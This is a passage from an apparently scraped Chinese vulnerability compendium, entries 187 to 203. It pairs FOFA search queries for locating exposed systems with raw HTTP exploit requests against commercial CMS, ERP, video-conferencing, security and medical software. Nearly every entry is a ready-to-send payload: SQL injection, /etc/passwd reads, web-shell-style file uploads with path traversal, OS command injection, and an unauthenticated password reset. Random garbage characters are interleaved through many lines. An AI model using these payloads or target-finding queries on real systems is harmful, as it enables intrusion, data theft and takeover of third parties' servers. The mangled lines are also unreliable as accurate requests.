* u/ y/ Y  B. W/ ~2 ireq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
$ c" l" q2 F8 }1 b
  W9 V3 x9 I- n0 P+ I4 p2 O' D
187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
, ~& r% ]# ]3 z  k# LPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
' y1 O1 P3 j8 b1 g) f. GHost: your-ip
Content-Type: application/x-www-form-urlencoded
+ w7 {* v: P+ x- i8 G

' ~' `  x# _% I7 A" M) _object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
% C/ Q; Z' [; |9 {' ^

188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
& {; g& h2 m; XFOFA：body="/system/get_rtc_user_defined_info?site_id"
6 @/ ?( l: U) IGET /attachment?file=/etc/passwd HTTP/1.1
5 W) Q& G3 J) P" K& `Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 g0 ]* R( Q; Q3 m+ CAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
; U7 U4 W6 L/ B

- _! y0 w6 a# L4 e: V; n189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
2 E" a+ Y1 R$ OGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
4 q0 D$ E4 f3 y2 F1 U& nHost: your-ip
% l# A) x! h( Q+ v# h/ a$ U9 {5 DUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
7 r2 a7 j3 t- CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

% B9 {; C* r) f8 e
1 \7 Y" X; b2 H190. 短视频矩阵营销系统 poihuoqu 任意文件读取
3 Z6 n9 R- j# g  H$ D; A7 O7 qFOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
( a0 Y# V: b1 u+ i" fHost: your-ip
$ [6 U, \/ d& n# Z9 MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
' W8 h9 j& M9 K7 v3 j7 P2 e( hContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

# ^8 m" u! u" @poi=file:///etc/passwd

( Q4 W$ F8 C4 l8 E
* N( @( b1 b# g) d0 A9 A191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
) p8 q# A0 K! K$ L+ n, _) m
command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=

6 X- i# o. w* A" }* P9 y' T; v
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
& g& C8 x, a+ q  \4 _' JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
- c( m9 \5 x6 |
% y. _* P4 z* }) S* k. D
+ }* Z4 Z! ^9 G( J& l$ C5 E<% @ webhandler language="C#" class="AverageHandler" %>
5 g: @9 l/ P7 d& a# Jusing System;
1 o% \7 x! M' z# Q% m9 husing System.Web;
  P6 s4 q3 B4 [5 y8 \$ mpublic class AverageHandler : IHttpHandler
{
* q% }4 I2 v: o5 }public bool IsReusable
{ get { return true; } }
$ R; k; {* C0 Z& Q" }public void ProcessRequest(HttpContext ctx)
3 L3 r, v9 o/ F( [% {) c{
ctx.Response.Write("test");
' {! K; Z: Y, H6 J  f- N: L}
}


0 S" U) X$ W- E+ R. _193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
" L) x3 q2 Y7 V$ xFOFA：body="山石云鉴主机安全管理系统"
' d& _# o0 ^( D) |- M' qGET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
5 t' k3 O7 G% ?- YCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
# o$ w9 U2 l( A+ w1 |

3 L$ W" r# a5 ?$ }2 S9 XPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
' Q' r5 t* W9 L4 I+ @Accept-Encoding: gzip, deflate
, Z) g- h/ A) v! FAccept: */*
# O$ J& `; s3 t* D& Q& g# z3 ?. dConnection: close
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
5 |3 p' B) C; d# sContent-Length: 84
; `/ j! T) @3 F
param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
0 s% X+ F. m; f* L8 L6 T3 @
# h' f5 N4 U" l9 T8 @
% j- z' @* S) H4 DGET /master/img/config HTTP/1.1
Host:
/ a$ }0 |; ?! {- V# vUser-Agent: Mozilla/5.0

  ?! s* s) ]  t+ S$ U6 T) n
6 D- O0 [* {9 A3 G: P1 n194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
- {, `2 J0 F# h/ r! qFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

* B+ O, A' F; U( |1 r$ {POST /servlet/uploadAttachmentServlet HTTP/1.1
5 V% N2 f  V6 ZHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. I0 N$ \- _- qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ N" R% y% o4 `" e' Z, h6 XAccept-Encoding: gzip, deflate
) Y$ `% c4 i. ^* ~7 b2 qConnection: close
" l# T$ |0 t* v5 `! B) T  Y1 fContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
6 k; F* R; R& R' [- @# D- Z------WebKitFormBoundaryKNt0t4vBe8cX9rZk
# S) G+ t% t  ~8 F
/ \# ?1 v/ M/ @, J& r) \/ yContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
* K) G7 O  j' F1 O4 d5 t$ B/ }Content-Type: text/plain
' N$ x: W) I1 K  p! g$ G<% out.println("hello");%>
/ A8 \$ C. H3 m. W6 L------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
5 Y3 q$ g1 n& I. t {"iq":{"query":{"UpdateType":"mail"}}}
% d0 P7 A$ p/ j; Z7 x& ?: B5 |------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

0 F( M" O5 Z/ D: c+ R+ Q! S
2 H4 {" j& X) `+ E9 X0 }- C195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
' s0 Z+ M5 N$ [; ^8 fFOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
. Q7 q) I8 p# ^, ACache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
9 I* u, @3 O2 n" n  X6 i+ GAccept: */*
, k4 k# g( Z% z% y# HAccept-Encoding: gzip, deflate
; h* o. n# ]3 s" t; rAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
7 A4 p2 G( i, G( i
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}

) {. C, y. k- `9 h) K4 v
196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
/ i8 R5 n8 _0 [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
  k/ c- X# x# m- w6 ?4 uHost:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
& Q0 N$ O4 q8 k$ D! {Content-Length: 45
Connection: close
3 R' P2 U7 @2 s) f3 Q
9 p5 i8 G+ X  D0 l5 H' F) X{"xgh":"test","newPass":"test666","email":""}



" V8 C6 W2 t, |& D8 G197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
, m9 f" X' x0 ~FOFA：app="浙大恩特客户资源管理系统"
! y% X- Y9 ~& s" D$ q# ?GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
( X6 J/ [3 a2 z$ @# aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
6 e! A7 Z1 h) ?* i. k5 wAccept-Encoding: gzip, deflate
Connection: close

. A$ c0 U* s$ f; W0 s

( Y; ~/ |; }/ K5 d% |/ }198.  阿里云盘 WebDAV 命令注入
$ ?; v$ C4 D$ s3 V9 ~! b- d* @CVE-2024-29640
3 |7 W3 O- v$ t/ v) [+ kGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
. d5 X! x1 y3 m2 |2 qCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
: e( p! ~& s1 o3 FAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
& h( b$ J1 H) B* \1 OConnection: close
5 G" w8 I- k0 }* x! c

( R  v0 W( ^  Z199. cockpit系统assetsmanager_upload接口 文件上传
2 J: l2 ^. r0 g6 j# s
. r4 r3 e" c# D1 B/ y. t1 Z: W1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
2 L: M& B1 I2 J* j7 QGET /auth/login?to=/ HTTP/1.1
, b& @3 y4 U2 Y& d2 A0 I
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
% u6 r1 i5 S. U& Z7 a; D# U
2.使用刚才上一步获取到的jwt获取cookie：
! B9 H; i- X( c0 o# t- c
POST /auth/check HTTP/1.1
7 W' o6 j. _, BContent-Type: application/json
5 g  K; Y9 ]; m
{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

响应：200，返回值:
) G3 c: j0 z8 A1 J$ _% P+ MSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
9 W: R- D6 I. u& iFofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
$ R; R1 L& ^- BContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
" Y$ c- h4 n+ s$ S: _' ?Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

( N+ c7 n0 F7 l6 ~/ J4 q<?php echo "tttt";unlink(__FILE__);?>
/ M% ~  J2 I/ q: [0 g# ]-----------------------------36D28FBc36bd6feE7Fb3
6 A  p. V" |. ]Content-Disposition: form-data; name="folder"

# \, T5 G5 A5 X: w/ ]-----------------------------36D28FBc36bd6feE7Fb3--
' S$ X( V' t7 K, j5 Y
+ p! Z4 _+ F2 z- h$ ^4 g8 v# d
# |0 o: ^% D4 \# j$ r/storage/uploads/tttt.php

200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
% b9 l' c" R" d* h" NCache-Control: max-age=0
& I9 `4 f0 `6 P: G9 pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 W9 G) P9 _( N/ e: |, DAccept-Encoding: gzip, deflate
8 w- k* [/ y1 q4 u8 X( aAccept-Language: zh-CN,zh;q=0.9


, F/ n* [# n, q" J, B201. 方正全媒体新闻采编系统 binary SQL注入
; {* s. a2 S0 R2 PFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
+ e7 {. K6 ]% P8 WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
9 ]! K# |' y+ g# D0 PAccept-Language: zh-CN,zh;q=0.9
Connection: close

/ q% i  ]1 a# @TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
% v+ h7 y% b9 U' J, x

/ z4 c0 @, o5 G8 @+ m1 }6 W) F202. 微擎系统 AccountEdit任意文件上传
, k3 S' ^5 E% _" t) n* ~( y/ ^FOFA：body="/Widgets/WidgetCollection/"
) d: d( \1 }) U获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
' T  z" V1 h- i- L0 M" n  cHost: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
& C7 l: k0 r0 y" aContent-Length: 0
2 x1 N/ I- e/ \0 @( F3 k! G3 A( W
' X/ l  M( j/ i  C# E/ i- E0 p
5 s- `8 P/ _- c0 C替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

; [% Z( {( |! _* F% q-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

+ ^6 |9 W4 n! u8 ?. G! J__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
" H+ q! g/ d4 A% [5 EContent-Disposition: form-data; name="__EVENTVALIDATION"
1 F5 h! R  m( L" t9 S
__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
: P/ c% ?3 T& q" ~6 @$ K0 d8 B' n* x3 qContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
! ~' r% R* m  p- j. ]% `3 f
Hello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

$ j; w0 ^) s" d上传图片
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
0 x% y, e1 p3 y! o* Q

-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
  s- a2 k9 d+ e: N( E
" S% h- k# K. p4 x
-----------------------------786435874t38587593865736587346567358735687--


/_data/Uploads/1123.txt

203. 红海云EHR PtFjk 文件上传
: f" Q2 H5 V4 \: E& ]; c! KFOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 Z& q4 O4 p2 ?2 i* E7 x* z0 eContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
- |5 B  @6 I3 cContent-Length: 210
6 {. X* ~0 v- o- \5 s8 V5 l
; p$ u9 R- N3 J# R+ P& T9 [------WebKitFormBoundaryt7WbDl1tXogoZys4
4 p/ l* Q" A9 K; Q4 [' _, M/ n( n* DContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg
5 ]0 H1 B, D1 u5 |5 ]) |7 @
3 {: A6 d, ]' b<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--






$ ]& r' u5 }3 G% _/ l, u! M